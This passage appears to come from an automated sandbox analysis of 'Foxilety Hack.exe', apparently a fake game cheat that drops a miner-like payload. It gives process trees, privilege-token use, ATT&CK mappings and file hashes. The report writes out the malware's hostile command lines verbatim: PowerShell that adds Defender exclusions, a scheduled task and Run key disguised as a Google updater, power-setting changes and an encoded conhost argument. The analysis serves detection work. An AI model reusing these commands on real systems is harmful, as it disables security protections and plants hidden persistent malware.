1964	conhost.exe
1964	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

7zFM.exe

pid process

1072 7zFM.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exeWMIC.execonhost.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeWMIC.exe

description	pid	process
Token: SeRestorePrivilege	1072	7zFM.exe
Token: 35	1072	7zFM.exe
Token: SeSecurityPrivilege	1072	7zFM.exe
Token: SeSecurityPrivilege	1072	7zFM.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeShutdownPrivilege	1676	powercfg.exe
Token: SeShutdownPrivilege	688	powercfg.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeShutdownPrivilege	1820	powercfg.exe
Token: SeShutdownPrivilege	1424	powercfg.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeShutdownPrivilege	1776	powercfg.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeShutdownPrivilege	1676	powercfg.exe
Token: SeShutdownPrivilege	1944	powercfg.exe
Token: SeShutdownPrivilege	1716	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	1788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1788	WMIC.exe
Token: SeSecurityPrivilege	1788	WMIC.exe
Token: SeTakeOwnershipPrivilege	1788	WMIC.exe
Token: SeLoadDriverPrivilege	1788	WMIC.exe
Token: SeSystemtimePrivilege	1788	WMIC.exe
Token: SeBackupPrivilege	1788	WMIC.exe
Token: SeRestorePrivilege	1788	WMIC.exe
Token: SeShutdownPrivilege	1788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1788	WMIC.exe
Token: SeUndockPrivilege	1788	WMIC.exe
Token: SeManageVolumePrivilege	1788	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1788	WMIC.exe
Token: SeSecurityPrivilege	1788	WMIC.exe
Token: SeTakeOwnershipPrivilege	1788	WMIC.exe
Token: SeLoadDriverPrivilege	1788	WMIC.exe
Token: SeSystemtimePrivilege	1788	WMIC.exe
Token: SeBackupPrivilege	1788	WMIC.exe
Token: SeRestorePrivilege	1788	WMIC.exe
Token: SeShutdownPrivilege	1788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1788	WMIC.exe
Token: SeUndockPrivilege	1788	WMIC.exe
Token: SeManageVolumePrivilege	1788	WMIC.exe
Token: SeLockMemoryPrivilege	1964	conhost.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeShutdownPrivilege	1360	powercfg.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeShutdownPrivilege	1184	powercfg.exe
Token: SeShutdownPrivilege	828	powercfg.exe
Token: SeShutdownPrivilege	404	powercfg.exe
Token: SeDebugPrivilege	344	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeShutdownPrivilege	1260	powercfg.exe
Token: SeShutdownPrivilege	1088	powercfg.exe
Token: SeShutdownPrivilege	1912	powercfg.exe
Token: SeShutdownPrivilege	1464	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	344	WMIC.exe
Token: SeSecurityPrivilege	344	WMIC.exe
Token: SeTakeOwnershipPrivilege	344	WMIC.exe
Token: SeLoadDriverPrivilege	344	WMIC.exe
Token: SeSystemtimePrivilege	344	WMIC.exe
Token: SeBackupPrivilege	344	WMIC.exe
Token: SeRestorePrivilege	344	WMIC.exe
Token: SeShutdownPrivilege	344	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

iexplore.exe7zFM.exe

pid process

2012 iexplore.exe
2012 iexplore.exe
1072 7zFM.exe
1072 7zFM.exe
1072 7zFM.exe
1072 7zFM.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

iexplore.exeIEXPLORE.EXErundll32.exe

pid process

2012 iexplore.exe
2012 iexplore.exe
764 IEXPLORE.EXE
764 IEXPLORE.EXE
764 IEXPLORE.EXE
764 IEXPLORE.EXE
764 IEXPLORE.EXE
764 IEXPLORE.EXE
1184 rundll32.exe

pid	process
2012	iexplore.exe
2012	iexplore.exe
1072	7zFM.exe
1072	7zFM.exe
1072	7zFM.exe
1072	7zFM.exe

pid	process
2012	iexplore.exe
2012	iexplore.exe
764	IEXPLORE.EXE
764	IEXPLORE.EXE
764	IEXPLORE.EXE
764	IEXPLORE.EXE
764	IEXPLORE.EXE
764	IEXPLORE.EXE
1184	rundll32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exerundll32.exe7zFM.exeFoxilety Hack.execmd.exepowershell.exepowershell.exetaskeng.exeupdater.execmd.exe

description	pid	process	target process
PID 2012 wrote to memory of 764	2012	iexplore.exe	IEXPLORE.EXE
PID 2012 wrote to memory of 764	2012	iexplore.exe	IEXPLORE.EXE
PID 2012 wrote to memory of 764	2012	iexplore.exe	IEXPLORE.EXE
PID 2012 wrote to memory of 764	2012	iexplore.exe	IEXPLORE.EXE
PID 2012 wrote to memory of 1184	2012	iexplore.exe	rundll32.exe
PID 2012 wrote to memory of 1184	2012	iexplore.exe	rundll32.exe
PID 2012 wrote to memory of 1184	2012	iexplore.exe	rundll32.exe
PID 1184 wrote to memory of 1072	1184	rundll32.exe	7zFM.exe
PID 1184 wrote to memory of 1072	1184	rundll32.exe	7zFM.exe
PID 1184 wrote to memory of 1072	1184	rundll32.exe	7zFM.exe
PID 1072 wrote to memory of 1084	1072	7zFM.exe	NOTEPAD.EXE
PID 1072 wrote to memory of 1084	1072	7zFM.exe	NOTEPAD.EXE
PID 1072 wrote to memory of 1084	1072	7zFM.exe	NOTEPAD.EXE
PID 732 wrote to memory of 404	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 404	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 404	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 524	732	Foxilety Hack.exe	cmd.exe
PID 732 wrote to memory of 524	732	Foxilety Hack.exe	cmd.exe
PID 732 wrote to memory of 524	732	Foxilety Hack.exe	cmd.exe
PID 732 wrote to memory of 2028	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 2028	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 2028	732	Foxilety Hack.exe	powershell.exe
PID 524 wrote to memory of 1676	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1676	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1676	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 688	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 688	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 688	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1820	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1820	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1820	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1424	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1424	524	cmd.exe	powercfg.exe
PID 524 wrote to memory of 1424	524	cmd.exe	powercfg.exe
PID 2028 wrote to memory of 1912	2028	powershell.exe	schtasks.exe
PID 2028 wrote to memory of 1912	2028	powershell.exe	schtasks.exe
PID 2028 wrote to memory of 1912	2028	powershell.exe	schtasks.exe
PID 732 wrote to memory of 1736	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 1736	732	Foxilety Hack.exe	powershell.exe
PID 732 wrote to memory of 1736	732	Foxilety Hack.exe	powershell.exe
PID 1736 wrote to memory of 1068	1736	powershell.exe	schtasks.exe
PID 1736 wrote to memory of 1068	1736	powershell.exe	schtasks.exe
PID 1736 wrote to memory of 1068	1736	powershell.exe	schtasks.exe
PID 1576 wrote to memory of 536	1576	taskeng.exe	updater.exe
PID 1576 wrote to memory of 536	1576	taskeng.exe	updater.exe
PID 1576 wrote to memory of 536	1576	taskeng.exe	updater.exe
PID 536 wrote to memory of 1468	536	updater.exe	powershell.exe
PID 536 wrote to memory of 1468	536	updater.exe	powershell.exe
PID 536 wrote to memory of 1468	536	updater.exe	powershell.exe
PID 536 wrote to memory of 616	536	updater.exe	cmd.exe
PID 536 wrote to memory of 616	536	updater.exe	cmd.exe
PID 536 wrote to memory of 616	536	updater.exe	cmd.exe
PID 536 wrote to memory of 1276	536	updater.exe	powershell.exe
PID 536 wrote to memory of 1276	536	updater.exe	powershell.exe
PID 536 wrote to memory of 1276	536	updater.exe	powershell.exe
PID 616 wrote to memory of 1776	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1776	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1776	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1676	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1676	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1676	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1944	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1944	616	cmd.exe	powercfg.exe
PID 616 wrote to memory of 1944	616	cmd.exe	powercfg.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://bit.ly/3wqtWLQ
1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2012

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2012 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:764

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZN60M0QQ\FoxiletyHack.rar
2⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1184

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZN60M0QQ\FoxiletyHack.rar"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1072

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zO034CB6ED\Если не запускается.txt
4⤵
PID:1084

C:\Users\Admin\Desktop\Foxilety Hack.exe
"C:\Users\Admin\Desktop\Foxilety Hack.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:404

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#nhmno#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#rwbmct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:1068

C:\Windows\system32\taskeng.exe
taskeng.exe {25491F66-7052-40C1-A763-4FA9A17C74BC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1576

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1944

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#nhmno#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1276

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
4⤵
- Creates scheduled task(s)
PID:1876

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe puhcvvbubzi
3⤵
PID:1584

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
4⤵
- Drops file in Program Files directory
PID:1940

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
5⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:1548

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe lgretdydgbejtdut 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUOoh88gTt4M0EprJ0SFbzjFYOwmlLpPQMSiDoJpCVtAqRLlbVCM1p7LfUS6gvqfuMEOR3i81hv3rC8YXN3iAEI+iyt0As4rfILfmHBf/Rkr9GdVy/ggVAXmO9VKezf28UWHDSgkjWTOnoQaV94wnLHlo7iocMBhHy5MpXRWKsrO0RLKgsZsIOP3FGLp33WkWgB4WiYs4hvRc95Q/CMyNwYBRe5b6VHie0qir/+pGBdFJXstIGSwApp4rwSyTmzqrXK7xrPQqwxpWDjXyeumCPQ21EqRYIfFm2zWfd7Y2Uyj2QzR3QiPqRyNcQdrn57YbbPRc1QwYUmipbjRHZfRdh3sasWDtLy4Q+rUYGx9U0Vi6vG8aiP4atAre0IXnmlpuXGEAoTmHfqAKCQhmqOnwqXB8I2mZCOLoV8VhIhUcQjMPqoKp5grKXGvMtdaYhnmaH1VOlqQaVwRpyDU4XenKmHWWDUi8/HKc8jiUnGhI91VYGEFqdYBBK9/udt2GirsEe
3⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
PID:1468

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1088

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#nhmno#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
4⤵
- Creates scheduled task(s)
PID:188

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:1676

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:344

C:\Users\Admin\Desktop\Foxilety Hack.exe
"C:\Users\Admin\Desktop\Foxilety Hack.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#nhmno#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2028

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:932

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1184

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:828

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#rwbmct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:344

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:1912

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1360

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
4.0MB

MD5
d0a0aca868f5f8d1428aefa597d3f840

SHA1
3031aa7c4184bce2901aaae59cb5555c9374bfbd

SHA256
56ef78469e84be560e7a61ad6c086944c061b8a627c4e5eb8ad07029f05c8f08

SHA512
fdc7709049f4ff0b8e65806cc2c057969b687d7ed89bc470bd10028d217fe0e10bf8618d870907c0b42709daf2a50be345ad41de910cc83b6fce118d747e2672

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
4.0MB

MD5
d0a0aca868f5f8d1428aefa597d3f840

SHA1
3031aa7c4184bce2901aaae59cb5555c9374bfbd

SHA256
56ef78469e84be560e7a61ad6c086944c061b8a627c4e5eb8ad07029f05c8f08

SHA512
fdc7709049f4ff0b8e65806cc2c057969b687d7ed89bc470bd10028d217fe0e10bf8618d870907c0b42709daf2a50be345ad41de910cc83b6fce118d747e2672

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
4.0MB

MD5
d0a0aca868f5f8d1428aefa597d3f840

SHA1
3031aa7c4184bce2901aaae59cb5555c9374bfbd

SHA256
56ef78469e84be560e7a61ad6c086944c061b8a627c4e5eb8ad07029f05c8f08

SHA512
fdc7709049f4ff0b8e65806cc2c057969b687d7ed89bc470bd10028d217fe0e10bf8618d870907c0b42709daf2a50be345ad41de910cc83b6fce118d747e2672

Download Submit
C:\Program Files\Google\Libs\WR64.sys
Filesize
14KB

MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

